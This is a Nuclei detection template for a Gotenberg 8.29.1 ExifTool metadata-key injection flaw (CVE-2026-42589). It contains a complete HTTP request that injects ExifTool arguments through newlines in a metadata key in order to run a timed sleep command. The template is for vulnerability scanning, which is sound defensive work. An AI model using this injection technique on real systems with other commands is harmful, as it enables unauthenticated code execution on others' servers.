id: CVE-2026-42589 info: name: Gotenberg 8.29.1 - Unauthenticated ExifTool Metadata Key Injection RCE author: fineman999 severity: critical description: | Gotenberg 8.29.1 is vulnerable to unauthenticated remote code execution via metadata key newline injection in the /forms/pdfengines/metadata/write endpoint. User-controlled metadata keys are passed to ExifTool without rejecting control characters, allowing ExifTool argument injection. This template uses a non-destructive sleep command to detect vulnerable behavior by response timing. impact: | Successful exploitation allows unauthenticated attackers to execute arbitrary OS commands as the Gotenberg process user. remediation: | Upgrade Gotenberg to version 8.31.0 or later. reference: - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657 - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0 - https://exiftool.org/exiftool_pod.html classification: cve-id: CVE-2026-42589 cwe-id: CWE-78 cvss-score: 9.8 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H metadata: verified: true vendor: gotenberg product: gotenberg max-request: 2 tags: cve,cve2026,gotenberg,exiftool,rce,unauth,oastless http: - raw: - | GET /version HTTP/1.1 Host: {{Hostname}} - | @timeout: 10s POST /forms/pdfengines/metadata/write HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----NucleiBoundaryCVE202642589 ------NucleiBoundaryCVE202642589 Content-Disposition: form-data; name="files"; filename="sample.pdf" Content-Type: application/pdf %PDF-1.1 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n trailer << /Root 1 0 R /Size 4 >> startxref 186 %%EOF ------NucleiBoundaryCVE202642589 Content-Disposition: form-data; name="metadata" {"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"} ------NucleiBoundaryCVE202642589-- matchers-condition: and matchers: - type: dsl dsl: - "status_code_1 == 200" - "contains(body_1, '8.29.1')" - "status_code_2 == 500" - "duration_2 >= 6" condition: and